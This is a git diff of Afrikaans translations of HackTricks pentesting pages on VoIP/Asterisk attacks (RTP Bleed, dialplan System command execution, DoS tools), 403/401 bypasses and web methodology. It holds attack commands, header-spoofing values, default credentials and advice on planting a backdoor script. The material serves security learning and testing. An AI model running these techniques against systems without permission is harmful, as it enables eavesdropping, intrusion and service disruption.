@ -547,9 +555,9 @@ exten => h,1,System(/tmp/leak_conv.sh &)
|
||||||
```
|
```
|
||||||
### RTCPBleed kwesbaarheid
|
### RTCPBleed kwesbaarheid
|
||||||
|
|
||||||
**RTCPBleed** is 'n groot sekuriteitskwessie wat Asterisk-gebaseerde VoIP-bedieners raak (gepubliseer in 2017). Die kwesbaarheid laat **RTP (Real Time Protocol) verkeer**, wat VoIP-gesprekke dra, toe om **deur enige iemand op die Internet geïntercepteer en hergerig te word**. Dit gebeur omdat RTP-verkeer outentisering omseil wanneer dit deur NAT (Network Address Translation) vuurmure navigeer.
|
**RTCPBleed** is 'n groot sekuriteitskwessie wat Asterisk-gebaseerde VoIP-bedieners raak (gepubliseer in 2017). Die kwesbaarheid laat **RTP (Real Time Protocol) verkeer**, wat VoIP-gesprekke dra, toe om **geïntcepteer en hergerig te word deur enige iemand op die Internet**. Dit gebeur omdat RTP-verkeer outentisering omseil wanneer dit deur NAT (Network Address Translation) vuurmure navigeer.
|
||||||
|
|
||||||
RTP-proxies probeer om **NAT-beperkings** wat RTC-stelsels beïnvloed, aan te spreek deur RTP-strome tussen twee of meer partye te proxy. Wanneer NAT in plek is, kan die RTP-proxy sagteware dikwels nie staatmaak op die RTP IP- en poortinligting wat deur signalering (bv. SIP) verkry is nie. Daarom het 'n aantal RTP-proxies 'n mekanisme geïmplementeer waar sulke **IP- en poortkombinasies outomaties geleer word**. Dit word dikwels gedoen deur inkomende RTP-verkeer te inspekteer en die bron-IP en poort vir enige inkomende RTP-verkeer te merk as die een wat op geantwoord moet word. Hierdie mekanisme, wat "leer-modus" genoem kan word, **maak nie gebruik van enige vorm van outentisering nie**. Daarom kan **aanvallers** **RTP-verkeer na die RTP-proxy stuur** en die geproksiede RTP-verkeer ontvang wat bedoel is vir die beler of ontvanger van 'n aanhoudende RTP-stroom. Ons noem hierdie kwesbaarheid RTP Bleed omdat dit aanvallers toelaat om RTP-media strome te ontvang wat bedoel is om aan wettige gebruikers gestuur te word.
|
RTP-proxies probeer om **NAT-beperkings** wat RTC-stelsels raak, aan te spreek deur RTP-strome tussen twee of meer partye te proxy. Wanneer NAT in plek is, kan die RTP-proxy sagteware dikwels nie staatmaak op die RTP IP- en poortinligting wat deur signalering (bv. SIP) verkry is nie. Daarom het 'n aantal RTP-proxies 'n mekanisme geïmplementeer waar sulke **IP- en poort-tuplet outomaties geleer word**. Dit word dikwels gedoen deur inkomende RTP-verkeer te inspekteer en die bron-IP en poort vir enige inkomende RTP-verkeer te merk as die een wat op geantwoord moet word. Hierdie mekanisme, wat "leer-modus" genoem kan word, **maak nie gebruik van enige vorm van outentisering nie**. Daarom kan **aanvallers** **RTP-verkeer na die RTP-proxy stuur** en die geproksiede RTP-verkeer ontvang wat bedoel is vir die beler of ontvanger van 'n aanhoudende RTP-stroom. Ons noem hierdie kwesbaarheid RTP Bleed omdat dit aanvallers toelaat om RTP-media strome te ontvang wat bedoel is om aan wettige gebruikers gestuur te word.
|
||||||
|
|
||||||
'n Ander interessante gedrag van RTP-proxies en RTP-stakke is dat hulle soms, **selfs al is hulle nie kwesbaar vir RTP Bleed nie**, **RTP-pakkette van enige bron sal aanvaar, deurstuur en/of verwerk**. Daarom kan aanvallers RTP-pakkette stuur wat hulle mag toelaat om hul media in plaas van die wettige een in te spuit. Ons noem hierdie aanval RTP-inspuiting omdat dit die inspuiting van onwettige RTP-pakkette in bestaande RTP-strome toelaat. Hierdie kwesbaarheid kan in beide RTP-proxies en eindpunte gevind word.
|
'n Ander interessante gedrag van RTP-proxies en RTP-stakke is dat hulle soms, **selfs al is hulle nie kwesbaar vir RTP Bleed nie**, **RTP-pakkette van enige bron sal aanvaar, deurstuur en/of verwerk**. Daarom kan aanvallers RTP-pakkette stuur wat hulle mag toelaat om hul media in plaas van die wettige een in te spuit. Ons noem hierdie aanval RTP-inspuiting omdat dit die inspuiting van onwettige RTP-pakkette in bestaande RTP-strome toelaat. Hierdie kwesbaarheid kan in beide RTP-proxies en eindpunte gevind word.
|
||||||
|
|
||||||
|
@ -565,7 +573,7 @@ sippts rtpbleed -i 10.10.0.10
|
||||||
```bash
|
```bash
|
||||||
sippts rtcpbleed -i 10.10.0.10
|
sippts rtcpbleed -i 10.10.0.10
|
||||||
```
|
```
|
||||||
* **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood benut die RTP Bleed kwesbaarheid deur RTP strome te stuur.
|
* **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood benut die RTP Bleed kwesbaarheid deur RTP-strome te stuur.
|
||||||
```bash
|
```bash
|
||||||
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
|
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
|
||||||
```
|
```
|
||||||
|
@ -582,7 +590,7 @@ same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
|
||||||
There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
|
There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
As die bediener **die gebruik van sekere karakters** in die **`System`** opdrag (soos in Elastix) **verbied**, kyk of die webbediener toelaat om **lêers op een of ander manier binne die stelsel te skep** (soos in Elastix of trixbox), en gebruik dit om **'n backdoor-skrip te skep** en gebruik dan **`System`** om daardie **skrip** te **voer**.
|
As die bediener **bepaalde karakters** in die **`System`** opdrag (soos in Elastix) **verbied**, kyk of die webbediener toelaat om **lêers op een of ander manier binne die stelsel te skep** (soos in Elastix of trixbox), en gebruik dit om 'n **backdoor-skrip** te **skep** en gebruik dan **`System`** om daardie **skrip** te **voeren**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
#### Interessante plaaslike lêers en toestemmings
|
#### Interessante plaaslike lêers en toestemmings
|
||||||
|
@ -616,8 +624,8 @@ Daar is verskeie maniere om te probeer om DoS in VoIP bedieners te bereik.
|
||||||
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protokol wat deur Asterisk gebruik word.
|
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): DoS IAX protokol wat deur Asterisk gebruik word.
|
||||||
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): 'n Gereedskap om SIP/SDP INVITE boodskap flooding oor UDP/IP uit te voer.
|
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): 'n Gereedskap om SIP/SDP INVITE boodskap flooding oor UDP/IP uit te voer.
|
||||||
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Stuur verskeie goed gevormde RTP-pakkette. Dit is nodig om die RTP-poorte wat gebruik word te ken (sniff eers).
|
* [**rtpflood**](https://www.kali.org/tools/rtpflood/): Stuur verskeie goed gevormde RTP-pakkette. Dit is nodig om die RTP-poorte wat gebruik word te ken (sniff eers).
|
||||||
* [**SIPp**](https://github.com/SIPp/sipp): Laat jou toe om SIP-verkeer te analiseer en te genereer, so dit kan ook gebruik word om DoS te doen.
|
* [**SIPp**](https://github.com/SIPp/sipp): Laat jou toe om SIP-verkeer te analiseer en te genereer. Dit kan ook gebruik word om DoS te doen.
|
||||||
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP switserse lewensreddingsboei. Kan ook gebruik word om SIP-aanvalle uit te voer.
|
* [**SIPsak**](https://github.com/nils-ohlmeier/sipsak): SIP switserse lewensmiddel. Kan ook gebruik word om SIP-aanvalle uit te voer.
|
||||||
* Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
|
* Fuzzers: [**protos-sip**](https://www.kali.org/tools/protos-sip/), [**voiper**](https://github.com/gremwell/voiper).
|
||||||
|
|
||||||
### OS Kw vulnerabilities
|
### OS Kw vulnerabilities
|
||||||
|
@ -634,16 +642,24 @@ Die maklikste manier om 'n sagteware soos Asterisk te installeer, is om 'n **OS
|
||||||
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
|
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kw vulnerabilities met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -17,23 +17,25 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheid assessering & penetrasietoetsing**. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening gaan. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle terug 'n bietjie tyd te gee om dieper te delf, shells te pop en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## HTTP Verbs/Methods Fuzzing
|
## HTTP Werkwoorde/Metodes Fuzzing
|
||||||
|
|
||||||
Probeer om **verskillende werkwoorde** te gebruik om die lêer te bekom: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
|
Probeer om **verskillende werkwoorde** te gebruik om die lêer te bekom: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
|
||||||
|
|
||||||
* Kyk na die responskoppe, miskien kan sommige inligting gegee word. Byvoorbeeld, 'n **200 respons** op **HEAD** met `Content-Length: 55` beteken dat die **HEAD werkwoord toegang tot die info kan verkry**. Maar jy moet steeds 'n manier vind om daardie info te exfiltreer.
|
* Kyk na die responskoppe, miskien kan sommige inligting gegee word. Byvoorbeeld, 'n **200 respons** op **HEAD** met `Content-Length: 55` beteken dat die **HEAD werkwoord toegang tot die info kan verkry**. Maar jy moet steeds 'n manier vind om daardie info te exfiltreer.
|
||||||
* Gebruik 'n HTTP-kop soos `X-HTTP-Method-Override: PUT` om die gebruikte werkwoord te oorskryf.
|
* Gebruik 'n HTTP-kop soos `X-HTTP-Method-Override: PUT` om die werkwoord te oorskryf.
|
||||||
* Gebruik **`TRACE`** werkwoord en as jy baie gelukkig is, kan jy dalk in die respons ook die **koppe wat deur tussenliggende proxies bygevoeg is** sien wat nuttig kan wees.
|
* Gebruik **`TRACE`** werkwoord en as jy baie gelukkig is, kan jy dalk in die respons ook die **koppe wat deur tussenproxies bygevoeg is** sien wat nuttig kan wees.
|
||||||
|
|
||||||
## HTTP Headers Fuzzing
|
## HTTP Koppe Fuzzing
|
||||||
|
|
||||||
* **Verander die Host-kop** na 'n arbitrêre waarde ([dit het hier gewerk](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
* **Verander Host-kop** na 'n arbitrêre waarde ([dit het hier gewerk](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||||||
* Probeer om [**ander User Agents te gebruik**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) om toegang tot die hulpbron te verkry.
|
* Probeer om [**ander User Agents te gebruik**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) om toegang tot die hulpbron te verkry.
|
||||||
* **Fuzz HTTP Koppe**: Probeer om HTTP Proxy **Koppe**, HTTP Authentisering Basic en NTLM brute-force (met 'n paar kombinasies net) en ander tegnieke te gebruik. Om dit alles te doen, het ek die gereedskap [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) geskep.
|
* **Fuzz HTTP Koppe**: Probeer om HTTP Proxy **Koppe**, HTTP Verifikasie Basies en NTLM brute-force (met 'n paar kombinasies net) en ander tegnieke te gebruik. Om dit alles te doen, het ek die hulpmiddel [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) geskep.
|
||||||
|
|
||||||
* `X-Originating-IP: 127.0.0.1`
|
* `X-Originating-IP: 127.0.0.1`
|
||||||
* `X-Forwarded-For: 127.0.0.1`
|
* `X-Forwarded-For: 127.0.0.1`
|
||||||
|
@ -94,25 +96,25 @@ As _/pad_ geblokkeer is:
|
||||||
* Verander **param waarde**: Van **`id=123` --> `id=124`**
|
* Verander **param waarde**: Van **`id=123` --> `id=124`**
|
||||||
* Voeg addisionele parameters by die URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
|
* Voeg addisionele parameters by die URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
|
||||||
* Verwyder die parameters
|
* Verwyder die parameters
|
||||||
* Herorganiseer parameters
|
* Herordeneer parameters
|
||||||
* Gebruik spesiale karakters.
|
* Gebruik spesiale karakters.
|
||||||
* Voer grens toetsing in die parameters uit — verskaf waardes soos _-234_ of _0_ of _99999999_ (net 'n paar voorbeeldwaardes).
|
* Voer grens toetsing in die parameters uit — verskaf waardes soos _-234_ of _0_ of _99999999_ (net 'n paar voorbeeldwaardes).
|
||||||
|
|
||||||
## **Protokol weergawe**
|
## **Protokol weergawe**
|
||||||
|
|
||||||
As jy HTTP/1.1 gebruik, **probeer om 1.0 te gebruik** of selfs toets of dit **2.0 ondersteun**.
|
As jy HTTP/1.1 gebruik, **probeer om 1.0 te gebruik** of toets selfs of dit **2.0 ondersteun**.
|
||||||
|
|
||||||
## **Ander Omseilings**
|
## **Ander Omseilings**
|
||||||
|
|
||||||
* Kry die **IP** of **CNAME** van die domein en probeer **dit direk kontak**.
|
* Kry die **IP** of **CNAME** van die domein en probeer **dit direk kontak**.
|
||||||
* Probeer om die **bediener te stres** deur algemene GET versoeke te stuur ([Dit het vir hierdie ou gewerk met Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
* Probeer om die **bediener te stres** deur algemene GET versoeke te stuur ([Dit het vir hierdie ou met Facebook gewerk](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||||||
* **Verander die protokol**: van http na https, of van https na http
|
* **Verander die protokol**: van http na https, of van https na http
|
||||||
* Gaan na [**https://archive.org/web/**](https://archive.org/web/) en kyk of daardie lêer in die verlede **wêreldwyd toeganklik** was.
|
* Gaan na [**https://archive.org/web/**](https://archive.org/web/) en kyk of daardie lêer in die verlede **wêreldwyd toeganklik was**.
|
||||||
|
|
||||||
## **Brute Force**
|
## **Brute Force**
|
||||||
|
|
||||||
* **Raai die wagwoord**: Toets die volgende algemene akrediteer. Weet jy iets van die slagoffer? Of die CTF-uitdaging naam?
|
* **Raai die wagwoord**: Toets die volgende algemene akrediteer. Weet jy iets van die slagoffer? Of die CTF-uitdaging naam?
|
||||||
* [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Probeer basiese, digest en NTLM auth.
|
* [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Probeer basiese, digest en NTLM verifikasie.
|
||||||
|
|
||||||
{% code title="Algemene krediete" %}
|
{% code title="Algemene krediete" %}
|
||||||
```
|
```
|
||||||
|
@ -138,7 +140,9 @@ guest guest
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening gaan. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksplorasie modules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop, en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik outomatiese eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -15,11 +15,13 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in geskryf en gesproke Pools vereis_).
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## Basiese Inligting
|
## Basiese Inligting
|
||||||
|
|
||||||
|
@ -51,12 +53,12 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
||||||
* [ ] Gebruik enige **bekende tegnologie**? Enige **nuttige truuk** om meer inligting te onttrek?
|
* [ ] Gebruik enige **bekende tegnologie**? Enige **nuttige truuk** om meer inligting te onttrek?
|
||||||
* [ ] Enige **gespesialiseerde skandeerder** om te loop (soos wpscan)?
|
* [ ] Enige **gespesialiseerde skandeerder** om te loop (soos wpscan)?
|
||||||
* [ ] Begin **algemene doeleindes skandeerders**. Jy weet nooit of hulle iets gaan vind of as hulle interessante inligting gaan vind nie.
|
* [ ] Begin **algemene doeleindes skandeerders**. Jy weet nooit of hulle iets gaan vind of as hulle interessante inligting gaan vind nie.
|
||||||
* [ ] Begin met die **begin kontroles**: **robots**, **sitemap**, **404** fout en **SSL/TLS skandering** (as HTTPS).
|
* [ ] Begin met die **aanvanklike kontroles**: **robots**, **sitemap**, **404** fout en **SSL/TLS skandering** (indien HTTPS).
|
||||||
* [ ] Begin met **spidering** van die webblad: Dit is tyd om **te vind** al die moontlike **lêers, vouers** en **parameters wat gebruik word.** Kyk ook vir **spesiale bevindings**.
|
* [ ] Begin met **spidering** van die webblad: Dit is tyd om **te vind** al die moontlike **lêers, vouers** en **parameters wat gebruik word.** Kyk ook vir **spesiale bevindings**.
|
||||||
* [ ] _Let daarop dat enige tyd 'n nuwe gids ontdek word tydens brute-forcing of spidering, dit moet gespider word._
|
* [ ] _Let daarop dat enige tyd wanneer 'n nuwe gids ontdek word tydens brute-forcing of spidering, dit gespider moet word._
|
||||||
* [ ] **Gids Brute-Forcing**: Probeer om al die ontdekte vouers te brute-force terwyl jy soek na nuwe **lêers** en **gidses**.
|
* [ ] **Gids Brute-Forcing**: Probeer om al die ontdekte vouers te brute-force terwyl jy soek na nuwe **lêers** en **gidses**.
|
||||||
* [ ] _Let daarop dat enige tyd 'n nuwe gids ontdek word tydens brute-forcing of spidering, dit moet Brute-Forced word._
|
* [ ] _Let daarop dat enige tyd wanneer 'n nuwe gids ontdek word tydens brute-forcing of spidering, dit brute-forced moet word._
|
||||||
* [ ] **Backups nagaan**: Toets of jy **backups** van **ontdekte lêers** kan vind deur algemene backup uitbreidings by te voeg.
|
* [ ] **Backups kontrole**: Toets of jy **backups** van **ontdekte lêers** kan vind deur algemene backup uitbreidings by te voeg.
|
||||||
* [ ] **Brute-Force parameters**: Probeer om **versteekte parameters** te **vind**.
|
* [ ] **Brute-Force parameters**: Probeer om **versteekte parameters** te **vind**.
|
||||||
* [ ] Sodra jy alle moontlike **eindpunte** wat **gebruikersinvoer** aanvaar, **geïdentifiseer** het, kyk vir alle soorte **kwesbaarhede** wat daarmee verband hou.
|
* [ ] Sodra jy alle moontlike **eindpunte** wat **gebruikersinvoer** aanvaar, **geïdentifiseer** het, kyk vir alle soorte **kwesbaarhede** wat daarmee verband hou.
|
||||||
* [ ] [Volg hierdie kontrolelys](../../pentesting-web/web-vulnerabilities-methodology.md)
|
* [ ] [Volg hierdie kontrolelys](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||||
|
@ -83,7 +85,7 @@ Search **for** [**kwesbaarhede van die webtoepassing** **weergawe**](../../gener
|
||||||
|
|
||||||
### Web tegnologie truuks
|
### Web tegnologie truuks
|
||||||
|
|
||||||
Sommige **truuks** vir **die vind van kwesbaarhede** in verskillende bekende **tegnologieë** wat gebruik word:
|
Sommige **truuks** om **kwesbaarhede** in verskillende bekende **tegnologieë** te vind:
|
||||||
|
|
||||||
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
* [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
|
||||||
* [**Apache**](apache.md)
|
* [**Apache**](apache.md)
|
||||||
|
@ -117,8 +119,8 @@ Sommige **truuks** vir **die vind van kwesbaarhede** in verskillende bekende **t
|
||||||
* [**Wordpress**](wordpress.md)
|
* [**Wordpress**](wordpress.md)
|
||||||
* [**Electron Desktop (XSS na RCE)**](electron-desktop-apps/)
|
* [**Electron Desktop (XSS na RCE)**](electron-desktop-apps/)
|
||||||
|
|
||||||
_Hou in gedagte dat die **selfde domein** **verskillende tegnologieë** in verskillende **poorte**, **mappes** en **subdomeine** kan gebruik._\
|
_Neem in ag dat die **selfde domein** **verskillende tegnologieë** in verskillende **poorte**, **mappes** en **subdomeine** kan gebruik._\
|
||||||
As die webtoepassing enige bekende **tegnologie/platform wat voorheen gelys is** of **enige ander** gebruik, moenie vergeet om **op die Internet** nuwe truuks te **soek** (en laat my weet!).
|
As die webtoepassing enige bekende **tegnologie/platform wat voorheen gelys is** of **enige ander** gebruik, moenie vergeet om **op die Internet** na nuwe truuks te **soek** (en laat weet my!).
|
||||||
|
|
||||||
### Bronkode Hersiening
|
### Bronkode Hersiening
|
||||||
|
|
||||||
|
@ -128,7 +130,7 @@ As die **bronkode** van die toepassing beskikbaar is in **github**, benewens om
|
||||||
* Hoe en waar word die **akkrediteer** gestoor? Is daar enige (toeganklike?) **lêer** met akkrediteer (gebruikersname of wagwoorde)?
|
* Hoe en waar word die **akkrediteer** gestoor? Is daar enige (toeganklike?) **lêer** met akkrediteer (gebruikersname of wagwoorde)?
|
||||||
* Is **wagwoorde** in **plank teks**, **geënkripteer** of watter **hashing algoritme** word gebruik?
|
* Is **wagwoorde** in **plank teks**, **geënkripteer** of watter **hashing algoritme** word gebruik?
|
||||||
* Gebruik dit enige **meester sleutel** om iets te enkripteer? Watter **algoritme** word gebruik?
|
* Gebruik dit enige **meester sleutel** om iets te enkripteer? Watter **algoritme** word gebruik?
|
||||||
* Kan jy **toegang tot enige van hierdie lêers** verkry deur 'n kwesbaarheid te benut?
|
* Kan jy **toegang kry tot enige van hierdie lêers** deur 'n kwesbaarheid te benut?
|
||||||
* Is daar enige **interessante inligting in die github** (opgeloste en nie-opgeloste) **kwessies**? Of in **commit geskiedenis** (miskien 'n **wagwoord wat in 'n ou commit ingevoer is**)?
|
* Is daar enige **interessante inligting in die github** (opgeloste en nie-opgeloste) **kwessies**? Of in **commit geskiedenis** (miskien 'n **wagwoord wat in 'n ou commit ingevoer is**)?
|
||||||
|
|
||||||
{% content-ref url="code-review-tools.md" %}
|
{% content-ref url="code-review-tools.md" %}
|
||||||
|
@ -137,7 +139,7 @@ As die **bronkode** van die toepassing beskikbaar is in **github**, benewens om
|
||||||
|
|
||||||
### Outomatiese skandeerders
|
### Outomatiese skandeerders
|
||||||
|
|
||||||
#### Algemene doel outomatiese skandeerders
|
#### Algemene doeleindes outomatiese skandeerders
|
||||||
```bash
|
```bash
|
||||||
nikto -h <URL>
|
nikto -h <URL>
|
||||||
whatweb -a 4 <URL>
|
whatweb -a 4 <URL>
|
||||||
|
@ -151,10 +153,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
|
||||||
```
|
```
|
||||||
#### CMS scanners
|
#### CMS scanners
|
||||||
|
|
||||||
As 'n CMS gebruik word, moenie vergeet om **'n skandeerder te loop'**, dalk word iets sappigs gevind:
|
As 'n CMS gebruik word, moenie vergeet om 'n **scanner** te **loop** nie, dalk word iets sappigs gevind:
|
||||||
|
|
||||||
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
|
||||||
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** webwerwe vir Sekuriteitskwessies. (GUI)\
|
